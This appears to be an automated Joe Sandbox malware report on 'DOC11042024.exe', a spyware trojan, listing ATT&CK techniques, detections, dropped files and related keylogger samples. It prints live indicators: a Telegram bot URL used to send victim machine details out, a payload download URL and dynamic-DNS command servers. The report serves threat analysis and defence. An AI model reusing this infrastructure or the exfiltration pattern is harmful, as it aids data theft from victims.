Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Obfuscated Files or Information	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 Registry Run Keys / Startup Folder	311 Process Injection	1 Software Packing	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	131 Virtualization/Sandbox Evasion	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	311 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DOC11042024.exe	5%	ReversingLabs
DOC11042024.exe	19%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\DOC11042024.exe	5%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
vyebetsh.sa.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vyebetsh.sa.com	141.98.10.40	true	false	0%, Virustotal, Browse	unknown
reallyfreegeoip.org	188.114.96.3	true	true		unknown
api.telegram.org	149.154.167.220	true	true		unknown
checkip.dyndns.com	193.122.6.168	true	false		unknown
checkip.dyndns.org	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/173.254.250.69	false		unknown
http://vyebetsh.sa.com/nMcrGmhC252.bin	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:305090%0D%0ADate%20and%20Time:%2004/11/2024%20/%2016:35:45%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20305090%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	msiexec.exe, 00000005.00000002.3282055116.0000000021E03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	msiexec.exe, 00000005.00000002.3283256246.0000000022C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2327684174.00000000056F7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	msiexec.exe, 00000005.00000002.3283256246.0000000022C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	msiexec.exe, 00000005.00000002.3282055116.0000000021CF7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	msiexec.exe, 00000005.00000002.3283256246.0000000022C31000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2324911323.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	msiexec.exe, 00000005.00000002.3282055116.0000000021CF7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2324911323.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.2327684174.00000000056F7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2327684174.00000000056F7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:305090%0D%0ADate%20a	msiexec.exe, 00000005.00000002.3282055116.0000000021CF7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	msiexec.exe, 00000005.00000002.3283256246.0000000022C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	msiexec.exe, 00000005.00000002.3282055116.0000000021C11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	msiexec.exe, 00000005.00000002.3283256246.0000000022C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/lBjq	msiexec.exe, 00000005.00000002.3282055116.0000000021DFE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_ErrorError	DOC11042024.exe, DOC11042024.exe.2.dr	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	msiexec.exe, 00000005.00000002.3282055116.0000000021CF7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	msiexec.exe, 00000005.00000002.3282055116.0000000021DD2000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.3282055116.0000000021E03000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.3282055116.0000000021DC3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	msiexec.exe, 00000005.00000002.3283256246.0000000022C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	msiexec.exe, 00000005.00000002.3282055116.0000000021C11000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2324911323.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	msiexec.exe, 00000005.00000002.3282055116.0000000021C11000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	msiexec.exe, 00000005.00000002.3283256246.0000000022C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/173.254.250.69$	msiexec.exe, 00000005.00000002.3282055116.0000000021C88000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.3282055116.0000000021CF7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.3282055116.0000000021CCD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	msiexec.exe, 00000005.00000002.3282055116.0000000021C11000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	msiexec.exe, 00000005.00000002.3283256246.0000000022C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.2327684174.00000000056F7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2327684174.00000000056F7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lBjq	powershell.exe, 00000002.00000002.2324911323.0000000004691000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	msiexec.exe, 00000005.00000002.3282055116.0000000021CF7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.3282055116.0000000021C5E000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.3282055116.0000000021CCD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2324911323.0000000004691000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.3282055116.0000000021C11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	msiexec.exe, 00000005.00000002.3283256246.0000000022C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlBjq	msiexec.exe, 00000005.00000002.3282055116.0000000021DCD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/	msiexec.exe, 00000005.00000002.3282055116.0000000021C5E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
141.98.10.40	vyebetsh.sa.com	Lithuania	209605	HOSTBALTICLT	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1548204
Start date and time:	2024-11-04 07:12:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DOC11042024.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/15@4/4
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 90% Number of executed functions: 185 Number of non-executed functions: 58
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1372 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:13:03	API Interceptor	36x Sleep call for process: powershell.exe modified
01:13:41	API Interceptor	333950x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Dbt5vPZaOa.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	Request For Quotation RFQ1310.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	Quote.exe	Get hash	malicious	MassLogger RAT	Browse
	SecuriteInfo.com.Win32.RansomX-gen.15724.13250.exe	Get hash	malicious	MicroClip	Browse
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	SWIFT COPY 2.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Payment info.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	2Lzx7LMDWV.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Quotation Document.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
193.122.6.168	Dbt5vPZaOa.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SWIFT COPY 2.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	z79PROFORMAINVOICE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	2Lzx7LMDWV.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Quotation Document.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	PROFORMA FATURA pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	clipper.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
188.114.96.3	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	GuLoader	Browse	e3z1.shop/HT341/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	documentreviewone.com/notes/document.exe
	zK3150CS8q.exe	Get hash	malicious	SmokeLoader	Browse	piratekings.online/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	piratekings.online/tmp/index.php
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/XimZ5Qu2/download
	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	www.vrxlzluy.shop/o91n/
	rQUOTATION_NOVQTRA071244__PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/8Koz7PwT/download
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse	e3z1.shop/HT341/index.php
	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	www.timizoasisey.shop/3p0l/
	FW CMA SHZ Freight invoice CHN1080769.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/5hcm/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	Dbt5vPZaOa.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	Request For Quotation RFQ1310.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	Quote.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Ziraat Bankasi Swift Mesaji.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	SWIFT COPY 2.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rQUOTATION_NOVQTRA071244__PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Payment info.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
checkip.dyndns.com	Dbt5vPZaOa.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	Request For Quotation RFQ1310.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	Quote.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Ziraat Bankasi Swift Mesaji.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	SWIFT COPY 2.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	rQUOTATION_NOVQTRA071244__PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Payment info.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
api.telegram.org	Dbt5vPZaOa.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Request For Quotation RFQ1310.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Quote.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	SecuriteInfo.com.Win32.RansomX-gen.15724.13250.exe	Get hash	malicious	MicroClip	Browse	149.154.167.220
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SWIFT COPY 2.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Payment info.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	2Lzx7LMDWV.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Quotation Document.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	Dbt5vPZaOa.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Payload 94.75 (3).225.exe	Get hash	malicious	Unknown	Browse	130.61.142.133
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	152.67.112.12
	Request For Quotation RFQ1310.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	SecuriteInfo.com.Trojan.GenericKD.74442994.24259.8937.exe	Get hash	malicious	Unknown	Browse	132.145.248.22
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Ziraat Bankasi Swift Mesaji.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	SWIFT COPY 2.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	rQUOTATION_NOVQTRA071244__PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Payment info.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
TELEGRAMRU	Dbt5vPZaOa.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	LauncherV3.31.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	TLl24p3e6q.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	Request For Quotation RFQ1310.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Quote.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	SecuriteInfo.com.Win32.RansomX-gen.15724.13250.exe	Get hash	malicious	MicroClip	Browse	149.154.167.220
	IP0XYLm4Uv.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	26HY8aPgae.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	czxw4iVMHJ.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
HOSTBALTICLT	Contract #U2116 KB #U2013 08152024 - 1.pif.exe	Get hash	malicious	RedLine	Browse	141.98.10.33
	PRODUCT OVERVIEW.doc	Get hash	malicious	Unknown	Browse	141.98.10.11
	tppc.elf	Get hash	malicious	Unknown	Browse	141.98.10.95
	sarm6.elf	Get hash	malicious	Mirai	Browse	141.98.10.95
	TRIAL IMG_00O0125RDER.exe	Get hash	malicious	FormBook, GuLoader	Browse	141.98.10.120
	1316wjL1Ep.elf	Get hash	malicious	Unknown	Browse	141.98.10.95
	17213054441f2891f24374c97759e4ac14183d6cfaeabe4240dc8794e61fa899b9e40b62fb429.dat-decoded.exe	Get hash	malicious	Remcos	Browse	141.98.10.11
	Demand G2-2024.xlsx	Get hash	malicious	FormBook	Browse	141.98.10.47
	171232524570452cfc1123de8b7cabf91834cbebe0e4fd1dae96e0b4418fab427bf67de7f5439.dat-decoded.exe	Get hash	malicious	RisePro Stealer	Browse	141.98.10.48
	1712325246bbbf6f1de2af242e599680d3f96095835a7a7584ff1f1f967e4c2d3f319cbbe6606.dat-decoded.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	141.98.10.48
CLOUDFLARENETUS	segura.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	Dbt5vPZaOa.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	MV Sunshine.exe	Get hash	malicious	FormBook	Browse	172.67.206.245
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Dbt5vPZaOa.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	Request For Quotation RFQ1310.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	Quote.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Ziraat Bankasi Swift Mesaji.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	rQUOTATION_NOVQTRA071244__PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Payment info.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	z79PROFORMAINVOICE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	segura.vbs	Get hash	malicious	Remcos	Browse	149.154.167.220
	Dbt5vPZaOa.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Payslip_October_2024_pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	V7FWuG5Lct.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	7ll96oOSBF.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	Payload 94.75 (4).225.exe	Get hash	malicious	Kronos, Strela Stealer	Browse	149.154.167.220
	VsXpA6fSbk.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	VsXpA6fSbk.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	lDPmx9XNXu.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	14744
Entropy (8bit):	4.992175361088568
Encrypted:	false
SSDEEP:	384:f1VoGIpN6KQkj2qkjh4iUxehQJKoxOdBMNXp5YYo0ib4J:f1V3IpNBQkj2Ph4iUxehIKoxOdBMNZiA
MD5:	A35685B2B980F4BD3C6FD278EA661412
SHA1:	59633ABADCBA9E0C0A4CD5AAE2DD4C15A3D9D062
SHA-256:	3E3592C4BA81DC975DF395058DAD01105B002B21FC794F9015A6E3810D1BF930
SHA-512:	70D130270CD7DB757958865C8F344872312372523628CB53BADE0D44A9727F9A3D51B18B41FB04C2552BCD18FAD6547B9FD0FA0B016583576A1F0F1A16CB52EC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d1hca5cb.2l5.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m3hwvonv.oay.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

